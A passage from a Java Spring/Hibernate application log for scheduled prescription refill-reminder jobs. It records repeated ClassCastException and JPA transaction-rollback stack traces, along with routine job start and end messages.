org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at 